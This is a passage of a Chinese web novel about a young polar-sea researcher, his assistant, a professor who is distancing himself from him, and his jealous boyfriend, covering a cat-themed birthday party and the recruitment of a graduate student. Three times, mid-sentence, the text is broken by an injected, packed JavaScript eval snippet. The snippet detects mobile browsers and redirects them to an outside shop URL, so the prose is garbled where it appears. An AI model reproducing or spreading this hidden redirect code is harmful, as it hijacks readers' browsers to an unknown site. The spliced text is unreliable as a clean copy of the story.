昨天和符于渊吃过早饭后,他直奔实验室,除了完成工作外,还被梵七叶逮住问了好多问题,解决完工作后,又收到公山易禾的晚饭邀约。 一整天社交了这么多人,还都是他在意的人,这对褚月恒来说着实有些感官过载,一天过得像是一个月。 现在,他手机里塞满了消息,母亲的、朋友的、徒弟的、老师的…… 从前工作忙的时候他也曾不停的接电话,但那都是同事的电话,那些人只是他走向冰海深处时经过了一张张脸谱,或者符号,他就算是一天接一百个电话也不会有什么感觉。 但现在,他知道消息那一边的人是谁,知道他们喜欢什么、讨厌什么,知道他们笑起来是什么样子,知道他们期望从他身上得到情感回应。 这很可怕。 他又想把手机扔给保安了。 “你是不是觉得我拿不出手。”戚清棠突然问,“你因为我感到丢脸吗?” “没有,”褚月恒立刻表演假笑,“为什么这么想?” “你没跟你母亲介绍我,她见到我时都不知道我的身份。你还挂我的电话,是嫌我的行为给你丢脸了吗?” 褚月恒连忙开始编:“我这不是针对你,是针对我母亲,我们几十年没见面了,我对她有戒心,不想透露太多自己的事,尤其是我最私密的事,我最私密的事都和你有关,所以我不想和她讨论你的事。” 戚清棠甜蜜一笑,但眼中还藏着疑虑:“好吧,那等你原谅你母亲了,可一定要正式介绍我们认识。” “我没有不原谅她,只是有点不适应。”褚月恒纠正道。 “那等你适应以后,一定要介绍我们认识。”戚清棠认真地说。 褚月恒点点头,暗自松了口气,他发现自己忽悠戚清棠的口才越来越好了。 等轮到戚清棠的戏份儿,褚月恒才开始回复消息,每句话他都需要斟酌半天,最后表现出来的效果依旧是“惜字如金”的褚月恒式冷淡,他是真的不知道该说些什么。 尤其是来自梵七叶的生日聚会邀约,他还需要准备生日礼物,并把自己打扮成一只猫……这是什么离谱的规则? —— 泊岳南边的郊区有一片海,梵七叶和她的小伙伴儿们已经在沙滩上撒了一天的欢,时至夜晚,他们懒洋洋的躺在躺椅上喝饮料聊天,俱乐部准备的彩灯亮起,天际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271816|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线处乌云翻滚,和海岸线融为一体。 其中一个小伙伴醉醺醺的说:“七叶,我当初就该找个医药公司拿高薪,我后悔回泊大当助理了,我那黑心老板到现在还没让我参与他的研究,天天就是让我给他遛狗、买早饭、整理文档、给他女朋友买礼物,天知道这种家伙怎么会有女朋友?这就算了,他还对什么都有一番高见,你知道我连拆个信封都能犯错误吗?他说我应该从顶部撕开,不然会损坏他的支票!” 另一位小伙伴儿凄然的说:“你这算什么,我老板让我将他的宝贝大猩猩沐浴在母爱之中,如果他感觉我没让大猩猩拥有快乐的童年,他就捏着手绢站在三楼天台嗷嗷哭。” “我老板脚踏三条船,轮番电话轰炸我,我撒谎圆不过来甚至要画个思维导图来推逻辑线,然后我推着推着,理出了一个了不得的真相,他包养的女明星和他老婆搞在一起了!” 梵七叶站起来制止道:“朋友们,咱们吐槽老板都吐槽一天了,该收敛收敛了,马上我老板和公山教授就过来了,这话题不适合让他们听见哈。” 有人就抱怨起来:“能见到公山教授很好,可惜还附赠一个老板。” 梵七叶不太高兴的说:“我老板人很好的,而且他很年轻,肯定能和我们玩到一起,你们会喜欢他的。” “褚先生也算是威名远扬,上次一帮可怜的研究生参观你们实验室,他不是把人说哭了吗?还被人力资源部开了黄牌警告,并取消三天私厨使用权。” “那是一个意外,我已经教育他了,他现在知道该怎么讲话了。”梵七叶底气不足的说。 朋友们都开玩笑说她调教有方,岳阳湖区这帮奇葩老板可太难调教了,偏偏人力资源部有时候不敢找老板的茬,就找他们助理的茬。 这不是跟古代皇子犯错,打伴读板子一个道理么。 37. 生日聚会 海滨俱乐部门口,褚月恒和公山易禾恰好在门口碰见,褚月恒本想约公山易禾一起过来,但公山易禾说他今天在郊区开会,跟他不在一个方向。 公山易禾一看见褚月恒就有种想逃的冲动,他昨晚做了一晚上关于褚月恒的梦,突然看见本人怼在他脸前,那刺激实在太大。 他昨天在道德困境里纠结了很久,实在是不想再备受愧疚感的折磨,决定疏远褚月恒。但已经答应来参加七叶的生日,实在是不好反悔,只能硬着头皮来了。 “公山教授,今天的主题是猫咖,要求扮成猫。”褚月恒认真的提出疑问,“你怎么没遵守规则?” 公山教授正在无地自容,他颇为丧气的回应道:“难道你就遵守了吗?” 褚月恒往前走了一步,从黑暗的树阴里走到霓虹灯下,指了指自己头上的黑色猫耳朵:“您需要吗?我给您也准备了,以防您开会来不及去买。” 说完后,褚月恒还露出一个朋友间的微笑,樱花粉色嘴唇勾起,微微露出牙齿,贴心又热情。 公山易禾的心脏又开始砰砰直跳了:“他们小孩子的规矩,咱们长辈就不用遵守了吧。” “是这样吗?”褚月恒猜测这又是什么隐藏的人情规则,他听话的摘下了自己的猫耳朵。 公山易禾鬼使神差的说:“其实还挺可爱的。” “你要戴吗?”褚月恒无辜的看向公山易禾。 公山易禾苦涩一笑,后悔来参加这个生日派对,他正在艰辛的给自己灭火,却还作死的靠近打火机,最令人烦躁的是,无论他怎么纠结,褚月恒都是这样一副事不关己的样子,真令人恨得牙痒痒。 褚月恒拿出给公山易禾买的橘猫耳朵:“我们可以戴一套的。” 恨的牙痒痒的公山易禾磨了磨牙,接过橘色猫耳朵:“虽然幼稚了点,但毕竟是七叶的生日,咱们满足她一下也不是不行。” 褚月恒闻言又戴上了黑色猫耳朵,公山易禾恶从胆边生,提议道:“既然我们扮演的是猫,是不是得有个猫咪亮相来逗七叶开心?” 褚月恒有点排斥道:“我准备了生日礼物,还需要做别的来取悦她吗?” “当然,这都是为了派对氛围。”公山易禾一脸正直的说,“别担心,我来教你,你伸出手做成猫爪子形状放在这儿。” 褚月恒低头看着公山易禾摆弄自己的手,他又看到公山易禾小拇指上那只尾戒。 公山易禾越摆弄越开心,眼睛亮亮的抬起头:“好了,喵一个我听听?” 褚月恒意识到了不对劲儿:“您在捉弄我。” 褚月恒板起脸来气势还是很足的,公山易禾立刻怂了:“对不起,要不我给你喵一个吧。” 褚月恒看公山易禾那丧气的样子,实在维持不住严肃的模样,笑了出来:“别闹了,我们进去吧。” 这温柔的声调,跟公山易禾前天晚上听到的一模一样,公山易禾跟在褚月恒身后,苦着脸揉了揉耳朵,感觉就像回到了为了集齐基因库而疯狂的那几年,越是想要,就越得不到。他恐惧自己会变得那那几年一样,为执念而疯狂,突破道德底线,做出令自己后悔的事情,令自己的亲人朋友失望,锒铛入狱,把生活过得一团糟。 为了感情把自己搞得这么狼狈是不值得的,公山易禾下定决心,等过完这次聚会,他一定要疏远褚月恒。 “老师!”梵七叶一看到褚月恒就热情的跑过来迎接他进门,像只眼睛亮亮的萨摩耶,“哇塞,你今天是黑猫警长!” “哇塞,还有大橘为重的公山教授,呜呜,你们对我太好了。”梵七叶和一众年轻的男男女女把他们团团围住。 他们一开始还有点不敢接近褚月恒,但见到梵七叶随便开褚月恒的玩笑都没遭到打击报复后,立刻看透了褚月恒冰老虎的本质,看着威风,其实遇热即融。 “褚教授,要不你收了我吧,我每天都在幻想你冲到我老板面前,拎着他的后脖子对他说,我是你的人,只有你能欺负我,他和他的三房姨太太都没资格!”有个浑身涂满三花颜料的家伙儿动情的说。 褚月恒理解了半天才懂这句话包含的巨大信息量。 “你老板,褚教授得弯下腰才能够到他的衣领子哈哈哈……”梵七叶叉腰大笑。 褚月恒看向公山易禾,却发现从前他一回头就能碰到公山易禾的视线,现在公山易禾却在离他八丈远的角落躲着。 褚月恒以为公山易禾不习惯和这群小年轻一起玩,就主动过去陪他聊天:“给你拿了烤菠萝。” 公山易禾疏离一笑:“谢谢,但是我不饿。” 褚月恒有点疑惑,微微歪头观察公山易禾的表情,连带着猫耳朵上的小铃铛晃了晃,晃得公山易禾心都乱了,公山易禾猛然站起来,埋头朝水果摊走过去:“我去拿点冰镇西瓜。” 褚月恒自然的跟了过去,并舀了一勺字草莓味冰激凌:“西瓜配这个很好吃。” “能发现一个你喜欢吃的东西可不容易。”公山易禾调侃了一句,然后挪开自己的甜品杯,“但是我加冰块就好了。” 褚月恒再次陷入迷茫,难道公山教授也讨厌他了?应该不会吧。还是公山教授心情不好的可能性更大一点。 褚月恒在公山易禾这里有种莫名其妙的自信,他觉得自己有义务安慰不开心的朋友。 “今天的会议不顺利吗?”褚月恒做出一副知心大哥哥的样子,自从那晚和戚清棠彻夜交心后,褚月恒就懂得了一些解语花小技巧,现在用在公山易禾身上正好。 可公山易禾心中却涌动着酸涩,他想说:你这么好,为什么不属于我?就算你愿意安慰我又怎么样,你又不能一边抱着我一边安慰我。 “没什么大事,就是遇到点技术瓶颈。”表面上,公山易禾风轻云淡的敷衍着。 褚月恒安静的等了一会儿,发现公山易禾并没有继续倾诉,不像戚清棠总会滔滔不绝的和他讲心里话,仿佛他就是最值得亲近、信任的人。 瞬间,褚月恒也没什么安慰人的性质了,但他还是想尽力让公山易禾好受点,于是他说:“别着急,慢慢来。” 他能理解公山易禾的心态,但科研这条路,在制定计划的时候要尽可能的看得远,在执行计划的时候却要专注于每一步该怎么走,否则就会急躁,急躁就会犯错误,从而耽误更多时间。 “月恒,”公山易禾斟酌着自己的语言,“你将来会成为岳阳湖区第十位院长,在泊岳定居,进入泊岳上流社会,虽然你和清棠出身于两个世界,但你们却走到了一起,这真是缘分。” 褚月恒不懂话题为什么突然跳到这里,难道是因为公山易禾也想找个对象定下来? 褚月恒不知道什么样的人能配得上公山易禾,大概是他没资格认识的人吧。所以褚月恒只能从其他方面开解公山易禾:“我来到泊岳后,发生在我身上的事都幸运的不可思议。我仔细分析了一下,发现遇到您后,我才开始变得幸运的。” 公山易禾的手下意识纠结在一起,他不敢去看褚月恒。 “谢谢把我介绍给岳阳湖区口碑最好的李清木院长,又挑选了聪明的七叶做我的助理,在我解决不了工作和感情时帮助我,帮我联系我母亲。”褚月恒回想着遇到公山易禾后发生的种种,真诚的说,“您是我的贵人。” 公山易禾释然的笑了:“这样也好,我很欣赏你,欣赏你当然希望你过得好。” 乌云翻滚的天空电闪雷鸣,瞬间下起倾盆大雨。褚月恒利落的脱下大衣撑在他和公山易禾头顶:“进屋吧。” 翻涌的海水和他们迷失荒岛时看到的海水相似,相似的还有褚月恒带给他的安心感。 公山易禾微微低头,凑进褚恒怀里,把手搭在他的腰上,跟着他走进休息室。 梵七叶和他的小伙伴们在雨中撒欢玩闹,昏暗的休息室只有他们两个人。 “您要去洗个澡吗?”褚月恒看向还待在他怀里的公山易禾。 公山易禾面色正直的抬起头:“时间也不早了,我就直接睡觉去了,让他们小年轻闹腾去吧。” “我也是。”褚月恒跟着公山易禾一起上楼。 “对了,”公山易禾停在楼梯上转身问,“和你母亲相处的怎么样?” “她非常好。”褚月恒没什么表情,的眼睛里写着开心,公山易禾总是能辨认出来他隐藏极深的情绪。 “那就好。”公山易禾想起来自己刚认识褚月恒时,褚月恒拒绝和人沟通,生命里除了逃之夭夭的戚清棠外空无一人,而现在,在屋外的欢声笑语中,公山易禾自我安慰道,如果他的出现让褚月恒过上了更好的生活,那这缘分也不算是白费。 —— 回家后,褚月恒对着窗户思考了半天,033见他盯着热闹的街道不出声,担心的问:“你不高兴了吗?” “没有,正相反,”褚月恒继续盯着窗外发呆,组织了一会儿语言后才说:“我好像知道我想要的生活是什么样了,完成李清木院长规划的事业,经营好人际圈,再和戚清棠结婚,这样我就能过上小时候梦寐以求的生活了。” 事业有成,朋友亲人相伴,和一个亲密的爱人,这不就是是一个幸福的人类的模板么?褚月恒觉得他懂了,是时候结束浑浑噩噩的时光,振作起来,为下一个目标而努力了。 033冷不丁说:“你小时候的梦想不是追逐冰海神女吗?” 褚月恒避开033的眼神,拒绝面对这个问题,曾经对超脱这个世界、追逐更高维的存在的绮丽幻想的确很动人,但那都是假的。 “我小时候幻想去冰海深处,其实是为了逃避现实。其实我渴望的一直是……”褚月恒不知道该怎么说,“那种社会规定的幸福人类模板。” 戚清棠不完美,但全心全意的依赖他,在亲密感方面给了他巨大的安全感。成为极地冰海研究院的院长这个事业目标并不像曾经探寻冰海那样令他心驰神往,但这是长辈指的路,前景非常好,他没理由拒绝。泊岳这座城市虽然和他没什么特别的羁绊,但他母亲在这里,他的挚友、徒弟都在这里,这座城市又足够美丽繁荣,留在这里也没什么不好。 褚月恒下决心要落地了,童年时期的他为了躲避现实世界,为自己构建了一个叫做‘冰海神殿’的热气球,从那以后他一直飘在云端,小心的将自己和真实世界分隔开。热气球破裂后,他绝望的躲在小小的框子里,宁愿沉溺在抽象的痛苦里,也不愿意从牢笼里走出来看看。 消沉了这么多个月,他终于准备好要降落,他别无选择。 这就是现实世界,不像幻想世界那么绮丽,也从不完美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梵七叶揉着头发说:“也不一定,人家也可以选择重新考一年,或者调剂到别的学校。” 褚月恒震惊:“所以我们有收不到学生的风险?” “是这样的,”梵七叶同情的说,“还有,是您有这个风险,不是我们。招不到学生是因为您年纪轻、资历浅、有被人力资源部黄牌警告的历史,和我可没关系。” 褚月恒点点头,没反驳一句,把梵七叶搞得有点子不好意思,她又补充道:“不过您也别太担心,复试当天我陪您一起去面试。” 褚月恒迷茫的看向梵七叶:“没人报名我们去面试谁?不是他们面试完才轮到我们挑剩下的吗?” 梵七叶得意一笑:“虽然他们没邀请我们去面试,但我们脸皮厚,想去就去,不用被邀请。等他们第一轮面试完了,剩下的人会选想调剂的专业,到时候我们还是不占优势。不如我们在他们第一轮面试当天就去旁观,您这权威的脸往那儿一摆,就负责勾引他们,我就在旁边露出我的招牌式微笑,展现我的亲切和热情,绝对能给我们狠狠加分!” 听上去很有道理,褚月恒决定服从梵七叶的安排。 结果梵七叶给他挑了什么‘性感书呆子大衣’,还配了什么‘高智感’眼镜,他明明不近视,却被迫在鼻梁上架上了两个玻璃片。 但是为了完成李院长的吩咐,成功招到学生,褚月恒还是委委屈屈的忍了,并虚心求教:“我需要微笑吗?” 梵七叶点点头:“必须微笑,文质彬彬的微笑!” 褚月恒不懂该怎么文质彬彬的微笑,他试探着笑了一下,并且尽量露出一点牙齿让自己显得热情。 “对对对!您太会了!”梵七叶立刻献上热情的马屁。 褚月恒更迷惑了,他会什么了? 后来,梵七叶又拉着褚月恒鼓捣了半天简历,还把简历做成艺术海报挂了起来。他们师徒俩都是罕见的天才型人物,虽然年纪轻,但这海报看上去还挺拿得出手的,梵七叶瞬间信心满满了起来,对着海报傻笑了半天。 褚月恒不知道梵七叶又在乐呵什么,无奈的叹了口气,准备出去透透气,一出实验室的门就碰见了公山易禾。 一看见公山易禾褚月恒就打心里开心,他露出他最热情的笑脸,不光露出了牙齿,还露出了嘴巴最深处的两颗小虎牙:“公山教授,吃晚饭了吗?” “正要去吃。”公山易禾疏离的笑了一下,他的表情很像他印在学校招生海报上的照片,却是褚月恒从未见过的样子。 “我急着去赴约,先不聊了。”公山易禾匆匆和褚月恒客套了一下,又匆匆离开了。 这是再正常不过的对话,褚月恒却觉得有点不对劲儿。公山教授每次见到他都会眼睛发亮,快步走到他身边,突破人与人之间的安全距离,和他间隔从未超过半米,还会在说话间莫名其妙的碰到他。 公山教授在他这儿从没有为任何其他事匆忙过,只会为了快速来到他身边而匆忙。 褚月恒皱着眉头思考了一会儿,然后得出结论,原来完美如公山易禾也会有失礼的时候啊,看来他是真的很忙了。 033捂住额头,感慨褚月恒在不该敏锐的时候洞察力强到可怕,在该敏锐的时候又像根不开窍的冰棍。 38. 招生 泊岳大学复试当天,在明德楼大厅,不要脸师徒俩自带桌子凑到人家热门导师复试的那一摊子旁边,把简历海报往桌子前一摆,在大家疑惑的眼神中,褚月恒露出排练了很多遍的微笑,梵七叶则露出她标志性的萨摩耶微笑,眼巴巴的盯着新生们看。 他俩幻想中坐冷板凳的场景并没有出现,没过多久他们就被人们团团围住了。 可这毕竟是个冷门的新专业,还极有可能要经常去苦寒的北地出差,最终只有一个人选择了他们。 梵七叶看着自己新鲜出炉的学妹,不禁感叹,真美啊,古画一样的脸,暖玉般的肌肤,简直美的和别人不在一个图层。这么美,可不能让褚月恒家那个妒夫男友看到,不然不知道要闹成什么样子。 “您好,我叫燕时雨,您叫我小燕就好。”燕时雨今年才区区二十岁,看着青涩又腼腆,面对两位著名的超级天才,她有些紧张,害怕被嫌弃愚笨,主要的害怕对象是褚月恒,因为他不光长得凶,还凶名在外、战绩可查。 “您好,我是褚导的助理梵七叶。”梵七叶用自己的萨摩耶笑化解学妹的紧张。 谁知梵七叶的热情让燕时雨更紧张了,她自认自己算不上聪明,只是格外擅长努力,高考没考上泊大,就起早贪黑的通过考研来到了她梦想的学府,因为分数堪堪压线,她没能去她心仪的专业。 怀着对天才的向往,她选择了这个不被看好的新方向。她对冰海没什么特别的向往,她单纯想来感受一下真正的天才们所在的世界。可真来感受了,她又因为自卑而感到害怕,说话都不敢大声讲。 “您好,梵老师。”燕时雨咬了咬嘴唇,小声说。 褚月恒严谨的纠正:“她是你大师姐。” 燕时雨立刻改口:“您好,梵师姐。” 褚月恒满意了,任务完成,他对燕时雨说:“你去办手续吧。” 然后就准备带梵七叶回实验室干活儿。 “老师,师妹刚来,还不熟悉呢,我带她熟悉一下。”梵七叶无奈道。 褚月恒不理解:“不是有专门干这个人吗?找门口那小孩儿就行。” 门口站着迎宾的学生被吓了一跳,惊恐的看向褚月恒。 “那他也不知道咱们实验室在哪儿啊。”梵七叶哭笑不得。 “那你跟我们一起走。”褚月恒把他那巨幅简历拎起来,一马当先的走了。 燕时雨迷茫的跟上,伸手说:“老师,我来……我来帮你拿。” “不用,”梵七叶把她拉到自己身边,“老师拿得动。” 燕时雨看了看前面冷着脸的褚月恒,又看了看没心没肺傻乐的梵七叶,这……这就是天才的生活吗?怎么和她想象的有点不一样…… 褚月恒急于修复自己过去敷衍工作的时候留下的错误,在实验室里昏天黑地的干活儿,梵七叶赶着发期刊,也在昏天黑地,一转眼就到了晚上八点,燕时雨百无聊赖的翻着书,不确定自己可不可以先走。 她才来报道,连宿舍都没分,还有好多杂事要办。 这时,门铃响了,燕时雨积极主动的跑到门口,扬起热情的笑容,打开门,门口杵着两位容貌昳丽的男人,还都是长头发,其中一个非常的眼熟。 洛星临面色不善的看着燕时雨:“这个褚月恒不是搞学术的吗?怎么实验室里全是漂亮妹妹?” 这话不好听,燕时雨有点委屈:“请问您是?” 戚清棠沉着脸说:“我来找褚月恒,他在里面吗?” 燕时雨不知道来人的身份,委屈了也不敢和他俩吵架,只能乖乖点头:“我去叫他。” 这会儿褚月恒正和梵七叶在超净实验室,燕时雨还得换上一身装备才能进去找他俩,戚清棠和洛星临没在门口等,而是自顾自的走到沙发旁坐下,摆弄着工作台上的文件。 燕时雨欲言又止,按照规定是不能随便放人进来的。她只能快速拉上隔离服的拉链,一边盯着戚清棠一边迈着螃蟹步打开超净实验室的门:“老师,有人找你,两个漂亮的男人。他们已经进来了,可以让他们进来吗?” 褚月恒记得自己在进实验室前给戚清棠报备过的,不懂他为什么会不请自来。 梵七叶对燕时雨露出一个同情的表情:“你进来吧,那两个人交给老师应对就行。” 等褚月恒出去谈恋爱了,梵七叶才小声说:“时雨,那个相貌艳丽的男人叫戚清棠,是老师的男朋友,他善妒且不讲道理,你要避开他,他身后跟着的叫洛星临,特别能找事儿,你能不跟他计较就别计较,跟他吵架纯浪费时间。” 燕时雨:……现在退出师门还来得及吗? 梵七叶拍拍她的肩膀:“放心吧,天塌了有我顶着,他们纠缠你,你就找我,或者找导师,他惹出来的麻烦肯定是他解决嘛。” 燕时雨觉得自己肯定不敢找褚月恒,于是她濡慕的看着梵七叶:“师姐,那我就靠你了,现在我们该怎么办?” “我们等他们走了再走,尽量别和他们碰面。”梵七叶拉着燕时雨坐下,“正好,我来给你规划一下你的研究方向。咱们导师专业水准很强,而且规矩少,你在咱们师门肯定是学业和自由双丰收,你来不来打卡他都不会管你,你要是在学业上有需要帮助的地方,只要提出来他也一定会帮你。” 燕时雨越听越开心:“真的这么好?” “当然,也是有缺点的,那就是你不主动找他,他肯定不会想起你。咱们学校毕业要求还是挺高的,你要是自己不积极主动就毁了。”梵七叶一摊手,“不过你别担心,师姐我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271818|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是会帮助你的。” “那个女孩儿是谁?”戚清棠觉得褚月恒有问题,总是让他感到不安。 “她是新来的研究生,这是李院长布置给我的任务。” 褚月恒刚解释完,洛星临就盛气凌人的说:“谁信你?一个搞研究的为什么身边总有漂亮妹妹?” 褚月恒看向洛星临,眼神就像在看‘什么碍事儿的东西’,他本就长了一副令别人感到自卑的盛气凌人脸,冷冷的看过来时竟然让洛星临抖了一下。 “清棠。”洛星临求助似得看向戚清棠。 但褚月恒直接把戚清棠搂进怀里,禁锢住他的视线,柔声说:“为了让你消气,我可以穿你一直想让我穿的那个东西,你确定要让不相干的人留在这儿听我们说话吗?” 令人浑身酥麻的声音就在戚清棠耳边幽幽吐气,戚清棠心里害羞的紧,只能把头埋在褚月恒怀里对洛星临说:“星临,你先回去吧。” 洛星临不敢置信的看向戚清棠,刚想说些什么,就见褚月恒冰冷的目光又落在他头上了,洛星临这才意识到,脱离了戚清棠闺蜜这个身份后,和褚月恒这样的人发生冲突有多么不智。这是个高大、冷漠、精神不正常的危险人物,是平日里他走路都会绕着走的存在。 洛星临后退了几步,看向戚清棠,见戚清棠还乖乖缩在褚月恒怀里,洛星临眼中闪过失望和怨怼,然后快速跑走了。 跑到停车场,洛星临才意识到自己是坐戚清棠的车来的。洛星临擦了一把眼泪,等在戚清棠的跑车边上。 半个小时过去,也没见戚清棠的人影,倒是梵七叶和燕时雨手拉手溜达到了停车场,似乎是要从这儿走到地铁站。 洛星临强忍着尴尬说:“喂,你们两个见到戚清棠了么?” 燕时雨刚要回答就被梵七叶拉住了,梵七叶给了洛星临一个轻蔑的微笑:“没有回答的义务。” 洛星临愣愣的看着梵七叶和燕时雨远去的背影,后知后觉的意识到,他之前帮清棠出头的时候早就把梵七叶得罪了。人家堂堂泊大的天才科学家,对着戚清棠这个导师家属不能无礼,对他却不用顾忌什么的。 洛星临失魂落魄的跌坐在地上,搞不懂自己过去都做了些什么。他不是嚣张霸道的人,虽然对人刁蛮些,但那也只是对着愿意包容他的人,出门面对陌生人时,他可怂了。他搞不懂自己为什么鬼迷心窍一样为戚清棠得罪了那么多人。 也许是因为嫉妒戚清棠能和褚月恒、蒋则锋这些天菜级别的男人发生感情纠葛,又可以给梵七叶这种天之骄女随便任性惹麻烦,所以他才代替清棠说出那些清棠不好说出口的话,假装自己也和戚清棠一样有资格对这些天之骄子呼来喝去。 可假的终究成不了真的,他只是戚清棠的工具人罢了。 39. 疏远 戚清棠感觉自己就像飘在云端,太幸福了。 高冷之花褚月恒乖乖坐在他的梳妆台上任由他胡作非为,戚清棠小心翼翼的摸了一下褚月恒乌黑的头发,发现褚月恒只是包容的看着他后,立刻大胆的揉了两下,褚月恒温顺的用脸蹭了蹭戚清棠的手,就轻轻蹭了这一下,戚清棠的心跳就飙升到他满脑子听到的都是自己心跳的声音。 得到褚月恒的包容和臣服,真的太满足了。 戚清棠在褚月恒的锁骨上挂上蓝宝石链子,又拿出自己收藏的各种奇奇怪怪的珠宝,觉得什么颜色的链子挂在褚月恒身上都别样好看。 褚月恒任由戚清棠折腾了一会儿,感觉戚清棠差不多消气后,就柔声说:“玩累了吧,我去给你做点心。” 认回亲妈后,褚月恒在给戚清棠当男妈妈这事儿上越发得心应手,几句话再加一个宠溺的抱抱就能把戚清棠哄得人畜不分。 哄着戚清棠把自己身上乱七八糟的挂饰摘掉后,褚月恒围上围裙,准备做一个符于渊教他的拿手甜品。 不过做甜品并不是他的目的,勾引戚清棠才是。 033默默的看着褚月恒忙活,无奈的叹了口气。 褚月恒活了二十来年,从没体验过健康的情感,自然是分不清主观情感和客观欲望的。 作为一个二十来岁的年轻人,他对戚清棠这种大美人有感觉太正常了,但这恰恰反映出褚月恒对戚清棠没什么情感上的需求。 以褚月恒在人际交往中的孤僻和不自信,如果他真的对一个人动了心,反而是不敢去触碰的,更别说像这样心怀鬼胎的算计勾引了。 033看的多清楚都没用,褚月恒本人没醒悟的话,谁也不能替他做决定。 没过一会儿戚清棠就窜进厨房,抱住了褚月恒的腰,开始叽叽喳喳的说他今天又做了些什么,遇到了哪些讨厌的人。 戚清棠在讲事情的时候,总会把自己的心理活动说的清清楚楚,他这个习惯让褚月恒感到非常亲密。 “尝一口再说。”褚月恒把一小块蓝莓饼塞进戚清棠的嘴里,某个瞬间,他的指尖碰到了戚清棠水润的嘴唇,褚月恒的眼神暗了暗,在戚清棠头顶居高临下的审视着他,审视了一圈,对所看到的都很满意,感觉下一步可以把戚清棠往床上勾引了。 033在旁边唉声叹气,却也没立场阻止。它的任务是促进褚月恒发现冰海中的新能源,管不到褚月恒和谁睡觉,但它总觉得如果现在发生了些什么,褚月恒会后悔的。 “对了,我得跟哥哥交代一声。”戚清棠一边啃着小饼一边缺心少肺的拿起手机,“在你实验室里碰到那个漂亮研究生后,我太生气了,就和哥哥说你又勾搭美女了。” “又?”褚月恒的声音在疑惑中带着笑,“你这么说是不是有点冤枉我。” 戚清棠觉得褚月恒这么讲话好听极了,他陶醉的靠在褚月恒身上,自如的撒娇:“哎呀,我当时太生气了嘛,还有遇到你妈妈那次,我也很生气。” “那公山教授岂不是又要误会我了。”褚月恒无奈的叹了口气。 “你别急,我这就和他解释清楚。” 褚月恒低下头,正好看见戚清棠手机里的聊天界面,戚清棠隔三差五就发一大堆话过去,公山易禾的回复简练且敷衍,就像今天和他见面时回复他那样。 褚月恒若有所思的盯着戚清棠发消息,莫名感到不安。 “033,我是不是真的做错了什么?”睡觉前,褚月恒轻轻扒拉开缠在自己身上的戚清棠,在心里悄悄问。 033答非所问:“别着急。” 褚月恒莫名的安定了下来,他闭上眼睛,来到自己的梦境,他看到了阳春三月的泊岳,和笑的很开心的戚清棠,戚清棠的眼睛亮亮的,脸上布满健康的红晕,看上去被养的很好,他说:“月恒,这就是你梦寐以求的地方,你已经到站了。” 褚月恒以为这会是自己这辈子做过的第一个美梦,然而下一秒,剧烈的岩浆撕碎大地,厚重的火山灰掩埋一切,泊岳变成了一片寂静的坟地。 岩浆缓慢的向前蠕动,发出细碎的爆破声,天地间也就只剩下这一点点声响了。 梦里的褚月恒非常冷静,他冷静的想着,也许这就是人类大脑运行的规律,建立目标,达成目标,感到无意义,再寻找新的目标。 他想要探寻冰海,再成功制作出潜水器后感到无意义,于是他将过上社会意义上的圆满生活作为新的目标,现在他似乎又实现了目标,于是一切再次变得没意义。 看来他第二个目标制定的不够好,第一个目标是探寻冰海,必须要获得某种成功才能达成,能消磨掉大量的时间和精力。第二个目标只是过上‘某种标准的生活’,他不需要成功建立基地冰海研究院,不需要成功和戚清棠结婚,只要走在实现这两个目标的路上就算是达成目标了。所以在确立目标后,他立刻就实现了。 他必须立刻修正第二个目标,来确保他的大脑能顺利运转下去。 要把第二个目标修改成成功建立极地冰海研究所,并顺利和戚清棠结婚。 又或者说,033说得对,这条路从一开始就是错的,他选择戚清棠,就像他母亲选择他父亲,都是失去了独自面对孤独的勇气,被软弱攻陷了心智,自甘堕落。 —— 闹铃响的时候,褚月恒拒绝起床。 戚清棠洗漱完后发现褚月恒还在赖床,他被逗乐了,他从未见过褚月恒懒惰的样子,这倒是稀奇:“月恒,昨晚睡得不好吗?” 褚月恒烦躁的睁开眼,早上坏,又是糟糕的一天。 日子就这样不咸不淡的过去,每天睁开眼,糟糕的心情就会迎面给他一巴掌。 第无数次在实验室工作到深夜,褚月恒感觉自己正驾驶着生命之船全速向冰山前进,方向盘报废,他别无选择,唯有全力以赴。 但这令褚月恒联想到在游玩冰海是船只时空的经历,也许方向盘报废并不意味着撞上冰山然后毁灭,也许他会去到一个美丽的荒岛。可这若荒岛上没有公山教授的话,又何谈美丽呢? 一转眼泊岳的盛夏就结束了,秋天带着金红相间的落叶袭来。在埋头做好手头的事情的过程中,褚月恒后知后觉的发现,他似乎成为了一个受欢迎的人,这简直闻所未闻。 在褚月恒天天划水的时候,李清木就非常欣赏他,这两个月里褚月恒展现了他的真实实力,更是让李清木欣慰不已,逢人就夸奖他,说他是她最喜欢的小辈。 就这样,褚月恒在泊大的名声也莫名其妙的好了起来,甚至还有研究生主动来问他带不带博士。 